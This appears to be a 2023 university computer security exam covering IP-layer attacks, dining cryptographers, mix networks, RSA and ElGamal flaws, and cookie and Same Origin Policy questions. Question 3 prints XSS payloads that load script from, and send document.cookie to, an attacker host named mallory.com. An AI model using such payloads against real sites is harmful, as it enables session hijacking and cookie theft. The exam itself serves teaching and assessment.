UNIVERSITY OF EDINBURGH

COLLEGE OF SCIENCE AND ENGINEERING

SCHOOL OF INFORMATICS

INFR10067 COMPUTER SECURITY

Thursday 4 th May 2023

13:00 to 15:00

INSTRUCTIONS TO CANDIDATES

Answer any TWO of the three questions. If more than two questions are answered, only QUESTION 1 and QUESTION 2 will be marked.

All questions carry equal weight.

CALCULATORS MAY NOT BE USED IN THIS EXAMINATION.

Year 3 Courses

Convener: D.Armstrong
External Examiners: J.Bowles, A.Pocklington, R.Mullins

THIS EXAMINATION WILL BE MARKED ANONYMOUSLY

1. **Network Security and Anonymity**

(a) We discussed different types of IP-layer attacks on traffic as it traverses the network, such as Wiretapping, Spoofing, Tampering, and DoS. Give a description of each of the 4 attacks named above and provide at least 3 reasons for what renders these attacks possible. Assume that no protections are in place to mitigate these named attacks. [*5 marks*]

(b) We looked at the Three Dining Cryptographers (3DC) protocol which can be used to tell whether one of the diners has paid for the meal. For this question, we add one more party for 4DC (A, B, C, and D). (NOTE: Use the binary XOR operator, such that $A \oplus B \oplus C = (A \oplus B) \oplus C$ is satisfied.

The following coin flips are observed by each pair of parties (Heads=1, Tails=0):
AB:1, AC:1, AD:0, BC:1, BD:0, CD:1.

The following announcements are made by each party: A:0, B:0, C:1, D:0.

The completion of the protocol yields a result of 1. Using the information given in this question, is it possible to work out who paid for the meal? If yes, then was it A, B, C, D, or the NSA? Show your work. [*3 marks*]

(c) Describe how Mix networks differ from Tor in terms of the kind of adversary they protect against, their performance differences, and what, if any, role dummy messages play in either. [*5 marks*]

QUESTION CONTINUES ON NEXT PAGE

(d) Sohail sets up a new anonymous email service called ZeroBits. This is how it works:

- A user wants to send an email to someone they know. They produce the following message:
  - To: recipient's email address
  - From: user's email address
  - Message: Hi there!
- This message is encrypted using the ZeroBit public key and is sent to the ZeroBit email server.
- The email server decrypts the email and replaces the From: address with a random address like so:
  - From: random_number@zerobit.com
- The ZeroBit email server records the original email address and the random email address in a mapping table like so:
  - user's email address: random_number@zerobit.com
- The server then forwards the email to the intended recipient, encrypted with the recipients public key. It does not copy or log the contents of the messages.
- To reply, the recipient sends the encrypted reply email to the random_number@zerobit.com address and the server looks up the original email address and forwards the email to the original sender, encrypted with the sender's public key. Again the contents of the message are not recorded.

Given the above descriptions, answer the following questions.

i. Are the recipients of replies anonymous? Explain. [*3 marks*]

ii. Are the sender and recepient anonymous from the ZeroBit service? Explain why or why not. [*3 marks*]

iii. Sohail decides to add email batching to the service to provide protection against global adversaries who can observe all network activity between the service and the senders and receivers. He decides that the server will wait until 105 emails have been received before sending them all out together. Describe what sort of attack the adversary can still mount to reveal which senders and recipients are communicating together. Assume that the adversary is able to add, drop, slow down, or change any message on the network. Provide a description of the various stages of the attack and how the adversary ensures the results. [*6 marks*]

2. **Cryptography**

(a) Let $h, h_1, h_2 : \{0,1\}^n \to \{0,1\}^m$ be three *different* collision resistant hash functions.

For each of the following functions H prove or disprove that it is collision resistant.

(i) $H(x) := h(x)||x$ (i.e., append x)
(ii) $H(x) := h(x)||lsb(x)$ (i.e., append the least significant bit of x)
(iii) $H(x) := h(x|1)$ (i.e., bitwise or; set least significant bit of x to 1)
(iv) $H(x) := h_1(x) \oplus h_2(x)$ (i.e., bitwise xor).

[6 marks]

(b) Suppose we modified the RSA encryption scheme to use a public modulus $n = p$ for a large prime number p (instead of the usual $n = pq$ for primes p, q). How would this affect consistency? How would it affect security? Prove your answers. *[5 marks]*

(c) Suppose we modified the RSA encryption scheme to use a public modulus $n = p^2$ for a large prime number p (instead of the usual $n = pq$ for primes $p \neq q$). How would this affect RSA? Prove your answer. *[4 marks]*

(d) *SuperSecure* virtual private networks Inc. advertises its new VPN service where user Alice and remote router Bob use RSA to establish a shared secret 256-bit AES session key k. Each router Bob uses a public key (n, e) where $e = 3$ and $n = p \cdot q$ where p and q are large primes with $2^{400} < p, q < 2^{800}$.

- Alice picks a 256-bit AES key $k \in \{0,1\}^{256}$ by reading 32 bytes from `/dev/random` and interprets k as a number m (i.e., disregarding leading zeros).
- Alice sends the ciphertext $c = m^e \mod n$ to Bob.
- Bob uses his secret key to decrypt c and obtains m. He then obtains the 256-bit AES session key k by adding leading zeros if necessary.

How could an eavesdropper retrieve the secret AES key k from c ? How could *SuperSecure* virtual private networks Inc. improve the security of their network? Justify your answers. *[5 marks]*

(e) Alice uses ElGamal encryption for secure communication with an online auction house (Bob). Recall ElGamal:

- Fix prime p, and generator $g \in \mathbb{Z}_p^*$. These are known to everyone.
- $\mathcal{M} = \{0, \ldots, p\text{-}1\}$ and $\mathcal{C} = \mathcal{M} \times \mathcal{M}$
- $G_{EG}() = (pk, sk)$ where $pk = g^d \pmod p$ and $sk = d$ and $d \xleftarrow{r} \{1, \ldots, p\text{-}2\}$.
- $E_{EG}(pk, m) = (g^r \pmod p,\ m \cdot (g^d)^r \pmod p) = (e, c)$ where $pk = g^d \pmod p$ and $r \xleftarrow{r} \mathbb{Z}$.
- $D_{EG}(sk, x) = e^{-d} \cdot c \pmod p$ where $x = (e, c)$.

QUESTION CONTINUES ON NEXT PAGE

However, due to a faulty software implementation, Alice always uses the *same* "random" number r for all her messages, although r is large and not known to the public.

Due to the standardized communication protocol of the auction house (Bob), the first message m_1 from the client (Alice) is always of the form "I am interested in item item-id.", followed by a confirmation message from Bob to Alice and then message m_2 from Alice to Bob, Alice's actual bid for the item.

An eavesdropper (Eve) has guessed correctly that Alice is interested in item item-id and thus knows m_1 (i.e., a known plaintext attack). Moreover, Eve knows that Alice always uses the *same* (but unknown to Eve) "random" number r for all her messages and has intercepted both encrypted messages from Alice (e_1, c_1) and (e_2, c_2).

How can Eve determine the content of Alice's second message m_2? [*5 marks*]

3. **Internet cookies and Same Origin Policy**

(a) Explain how "origins" in the web browser and "processes" in operating systems are conceptually similar. [*2 marks*]

`AcmeBook` is a social media website that allows users to make posts which are hosted on `AcmeBook` servers.

(b) Assume Mallory makes the following post on `AcmeBook`:

```
<script src="http://mallory.com/do.js"></script>
```

where `http://mallory.com/` is a page controlled by Mallory. And assume `AcmeBook` does not sanitise user inputs. What happens if Alice views Mallory's post? Justify your answer and in particular include what applies in terms of the Same Origin Policy. [*2 marks*]

(c) Assume now that Mallory makes the following post:

```
<script>fetch("http://mallory.com/do?token="
                                    + document.cookie)</script>
```

where `http://mallory.com/do` is a page controlled by Mallory that stores the URL query parameters in a database. And assume `AcmeBook` does not sanitise user inputs. If Alice views Mallory's post, which of the following cookies get sent to mallory.com? Select all that apply and justify all your answers.

i. Domain = `mallory.com`, Path = `/`, `HTTPOnly` = True, `Secure` = False
ii. Domain = `mallory.com`, Path = `/do`, `HTTPOnly` = False, `Secure` = False
iii. Domain = `mallory.com`, Path = `/do`, `HTTPOnly` = True, `Secure` = True
iv. Domain = `acmebook.com`, Path = `/`, `HTTPOnly` = True, `Secure` = False
v. Domain = `acmebook.com`, Path = `/`, `HTTPOnly` = False, `Secure` = False
vi. Domain = `acmebook.com`, Path = `/`, `HTTPOnly` = False, `Secure` = True
vii. None of the above [*6 marks*]

(d) Which attack has Mallory executed with the above post? Explain how this attack works. [*2 marks*]

QUESTION CONTINUES ON NEXT PAGE

`AcmeHosting` provides a website creation service. Alice has built a personal site hosted at `https://acmehosting.com/alice`. Alice allows access to certain pages of her site only to specific authenticated users. Charlie is one such priviledged user. Once a user (*e.g.* Charlie) successfully logs in, the server sends a response with a `Set-Cookie HTTP` header to set a `sessionID` cookie in the user's browser.

```
Set-Cookie: sessionId={{random session ID}}; Path=/alice
```

Alice is specifying the Path attribute on the cookie so that the cookie is scoped to the path prefix "`/alice`". This means that the cookie will be sent when the authenticated user (*e.g.* Charlie) visits `https://acmehosting.com/victim` or `https://acmehosting.com/alice/restricted_page` but not when they visit `https://acmehosting.com/mallory`.

(e) Explain how Mallory who controls `https://acmehosting.com/mallory` can read Charlie's `sessionID` for Alice's website and access Alice's restricted pages even though she is not one of Alice's priviledged users. [*7 marks*]

(f) What cookie attribute could Alice specify when setting the cookie that would have prevented the attacker from stealing the `sessionId` cookie? Justify your answer. [*2 marks*]

(g) Is adding this attribute enough to prevent Mallory (who controls `https://acmehosting.com/mallory`) from reading the content of Alice's restricted pages? If yes, explain why. If not, explain how the attacker site can still access the restricted pages. [*4 marks*]